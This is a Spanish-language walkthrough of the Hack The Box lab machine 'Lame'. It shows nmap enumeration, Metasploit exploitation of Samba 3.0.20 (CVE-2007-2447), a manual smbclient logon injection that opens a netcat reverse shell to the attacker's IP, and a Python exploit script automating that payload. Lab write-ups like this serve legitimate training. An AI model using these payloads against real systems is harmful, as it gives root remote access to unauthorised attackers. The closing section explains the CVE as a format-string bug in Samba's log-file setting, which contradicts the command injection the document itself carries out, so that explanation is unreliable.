Lame

#easy #linux

https://www.hackthebox.com/machines/Lame

Enumeración

✅ Escaneo de puertos y servicios con nmap https://nmap.org/

sudo nmap -p- -sS --min-rate 5000 -n -Pn -vv 10.129.54.159 -oA allPorts

sudo Ejecuta el comando con privilegios de superusuario - https://man7.org/linux/man-pages/man8/sudo.8.html

-p- Escaneo todos los puertos (1-65535) - https://nmap.org/book/man-port-specification.html

-sS Escaneo sigiloso - https://nmap.org/book/synscan.html

--min-rate Tasa de envío de paquetes mínima - https://nmap.org/book/man-performance.html

-n No realizar resolución DNS - https://nmap.org/book/host-discovery-dns.html

-Pn Omite el descubrimiento de host - https://nmap.org/book/man-host-discovery.html

-vv Nivel de detalle - https://nmap.org/book/output-formats-commandline-flags.html

-oA Guarda el resultado del escaneo en formato normal, XML y grepeable - https://nmap.org/book/output-formats-commandline-flags.html

PORT     STATE SERVICE      REASON
21/tcp   open  ftp          syn-ack ttl 63
22/tcp   open  ssh          syn-ack ttl 63
139/tcp  open  netbios-ssn  syn-ack ttl 63
445/tcp  open  microsoft-ds syn-ack ttl 63
3632/tcp open  distccd      syn-ack ttl 63

✅ Escaneo para detectar la versión de los servicios y ejecutar un conjunto de scripts predeterminados

nmap -p 21,22,139,445,3632 -sCV -Pn 10.129.54.159 -oA services

-p Especifica los puertos a escanear separados por una coma - https://nmap.org/book/man-port-specification.html

-sC Realiza un escaneo utilizando un conjunto de scripts predeterminado- https://nmap.org/book/man-nse.html

-sV Detecta la versión de los servicios - https://nmap.org/book/man-version-detection.html

-oA Guarda el resultado del escaneo en formato normal, XML y grepeable - https://nmap.org/book/output-formats-commandline-flags.html

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.119
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2025-03-30T00:07:44-04:00
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h01m45s, deviation: 2h49m45s, median: 1m42s

✅ Buscar vulnerabilidades en el servicio samba 3.0.20

https://nvd.nist.gov/vuln/detail/CVE-2007-2447

✅ Buscar vulnerabilidades en el servicio samba 3.0.20 con searchsploit

searchsploit "samba 3.0.20"
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                             |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                                                                                                     | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                                                                           | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                                                                                      | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                                                                                              | linux_x86/dos/36741.py
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Explotación

✅ Iniciar metasploit sin mostrar el banner al inicio

msfconsole -q

✅ Buscar nombres de módulos relacionados al servicio samba 3.0.20

msf6 > search samba 3.0.20
Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

✅ Seleccionar el módulo con índice 0

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat

✅ Mostrar las opciones del módulo

msf6 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.127    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

View the full module info with the info, or info -d command.

✅ Configurar la IP de la máquina víctima

msf6 exploit(multi/samba/usermap_script) > set rhosts 10.129.54.159
rhosts => 10.129.54.159

✅ Configurar la IP de la máquina atacante

msf6 exploit(multi/samba/usermap_script) > set lhost 10.10.14.119
lhost => 10.10.14.119

✅ Ejecutar el módulo

msf6 exploit(multi/samba/usermap_script) > run

✅ Una vez abierta una sesión ejecutar comandos

[*] Started reverse TCP handler on 10.10.14.119:4444 
[*] Command shell session 1 opened (10.10.14.119:4444 -> 10.129.54.159:54894) at 2025-03-30 01:24:37 -0300
id
uid=0(root) gid=0(root)

✅ Generar una shell interactiva

shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
root@lame:/#

User flag

✅ Obtener la flag del usuario

root@lame:/# cat /home/makis/user.txt
cat /home/makis/user.txt

Root flag

✅ Obtener la flag de root

root@lame:/# cat /root/root.txt
cat /root/root.txt

Método alternativo sin Metasploit

✅ Enumerar los recursos compartidos en la máquina víctima

smbclient -N -L //10.129.54.159/

-N No pide contraseña

-L Obtiene una lista de los recursos compartidos

10.129.54.159 IP de la máquina víctima

Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk      
        IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            LAME

✅ Ponerse en escucha con netcat en la máquina atacante

nc -lvnp 1111

-l Modo escucha

-v Muestra detalles

-n No interpreta nombre de dominio y no aplica resolución DNS

-p Número de puerto, en este caso 1111

smbclient -N //10.129.54.159/tmp

-N No pide contraseña

10.129.54.159 IP de la máquina víctima

tmp Recurso compartido

Cuando se ejecute el comando logon "/`nohup nc -e /bin/bash 10.10.14.119 1111`" y pida la contraseña presionar Enter

Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "/`nohup nc -e /bin/bash 10.10.14.119 1111`"
Password: 
session setup failed: NT_STATUS_IO_TIMEOUT
smb: \> 

logon Iniciar sesión

nohup Mantiene la ejecución del comando en segundo plano

nc -e Programa que se va a ejecutar después de que se establezca la conexión, en este caso /bin/bash

10.10.14.119 IP de la máquina atacante a la que Netcat se va a conectar

1111 Puerto en el que Netcat está en escucha en la máquina atacante y al que se va a conectar la máquina víctima

Una vez ejecutado el comando se recibe la conexión en la máquina atacante y se pueden ejecutar comandos, en este caso id

nc -lvnp 1111                                                 
listening on [any] 1111 ...
connect to [10.10.14.119] from (UNKNOWN) [10.129.54.159] 57145
id
uid=0(root) gid=0(root)

✅ Obtener una shell interactiva estable

script /dev/null -c bash
Presionar Ctrl + Z
stty raw -echo; fg         
reset xterm
root@lame:/tmp# export TERM=xterm
root@lame:/tmp# export SHELL=bash
root@lame:/tmp# stty rows 44 columns 184

✅ Obtener la flag del usuario

root@lame:/tmp# cat /home/makis/user.txt

✅ Obtener la flag de root

root@lame:/tmp# cat /root/root.txt

Script en Python para explotar la vulnerabilidad

import os
import sys

def exploit(target_ip, attacker_ip, attacker_port):
    """
    Exploits Samba vulnerability CVE-2007-2447 to gain a reverse shell.
    
    :param target_ip: IP address of the victim machine
    :param attacker_ip: IP address of the attacking machine
    :param attacker_port: Port where Netcat is listening
    """
    print(f"[+] Attacking {target_ip} to get a reverse shell on {attacker_ip}:{attacker_port}")
    
    payload = f'"/`nohup nc -e /bin/bash {attacker_ip} {attacker_port}`"'
    command = f'smbclient -L \\{target_ip} -N -U {payload}'
    
    print("[+] Executing payload...")
    os.system(command)
    
    print("[+] If everything went well, check your Netcat listener.")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python3 exploit.py <VICTIM_IP> <ATTACKER_IP> <PORT>")
        sys.exit(1)
    
    target_ip = sys.argv[1]
    attacker_ip = sys.argv[2]
    attacker_port = sys.argv[3]
    
    exploit(target_ip, attacker_ip, attacker_port)

No importa cuantas barras normales o invertidas se pongan o si se mezclan, el comando funciona igual.

logon "/`nohup nc -e /bin/bash 10.10.14.119 1111`"

logon "\`nohup nc -e /bin/bash 10.10.14.119 1111`"

logon "\/\/\/\//////\\\\\\\\\\//////\\\\`nohup nc -e /bin/bash 10.10.14.119 1111`"


Explotación de CVE-2007-2447 en Samba: Ejecución Remota de Código

La vulnerabilidad CVE-2007-2447 afecta a versiones antiguas de Samba, específicamente al uso del parámetro log file en el archivo de configuración smb.conf. Esta vulnerabilidad puede ser explotada por un atacante para ejecutar código de forma remota a través de un ataque de formato de cadena.

¿Cómo se ejecuta la vulnerabilidad?

En el archivo de configuración de Samba, el parámetro log file define la ubicación y el nombre del archivo donde se almacenan los logs de las conexiones. Un ejemplo típico de configuración /etc/samba/smb.conf vulnerable es:

#### Debugging/Accounting ####

# This tells Samba to use a separate log file for each machine
# that connects
   log file = /var/log/samba/log.%m

En esta línea, el marcador de posición %m es reemplazado por el nombre de la máquina que se conecta al servidor. Esto permite que cada cliente tenga su propio archivo de log. Sin embargo, el uso de %m sin validación adecuada crea una vulnerabilidad cuando un atacante puede manipular el nombre de la máquina.

Proceso de ejecución

  1. Conexión del cliente: Cuando un cliente (usuario) intenta conectarse al servidor Samba, se genera un archivo de log que contiene información sobre la conexión, como el nombre del cliente, el usuario, etc.

  2. Generación del archivo de log: En el momento de la conexión, Samba sustituye el marcador %m por el nombre de la máquina que se conecta, creando un archivo de log con un nombre como /var/log/samba/log.attacker_machine. Sin embargo, si el atacante puede controlar el valor del nombre de la máquina (por ejemplo, a través de un ataque de spoofing), puede insertar caracteres especiales o secuencias de formato de cadena maliciosas.

  3. Explotación de la vulnerabilidad: Si el atacante incluye secuencias como %x, %s, u otros caracteres de formato en el nombre de la máquina, Samba intentará procesar estos caracteres al crear el archivo de log. Esto puede causar un desbordamiento de buffer o manipulación de memoria, lo que resulta en una ejecución remota de código.

  4. Ejecución remota de código: La ejecución remota de código ocurre en el momento en que el atacante establece la conexión con el servidor Samba y Samba procesa la cadena maliciosa en el nombre del archivo de log. Esto permite al atacante ejecutar comandos arbitrarios en el servidor, comprometiendo su seguridad.

¿Cuándo se produce la ejecución remota de código?

La vulnerabilidad se activa cuando un cliente se conecta al servidor Samba, ya que es en ese momento cuando Samba intenta generar el archivo de log correspondiente. Si la configuración del parámetro log file incluye un marcador como %m y el atacante puede controlar el nombre de la máquina, la vulnerabilidad se explota durante la creación del archivo de log. Esto da lugar a la ejecución de comandos maliciosos cuando Samba procesa el nombre del archivo de log.

Verificación del archivo de configuración y logs de Samba en el servidor vulnerable

cat /etc/samba/smb.conf
<SNIP>
#### Debugging/Accounting ####

# This tells Samba to use a separate log file for each machine
# that connects
   log file = /var/log/samba/log.%m
<SNIP>

ls /var/log/samba/
log.10.10.14.119
log.127.0.0.1
log.kali
log.nmbd
log.smbd

Last updated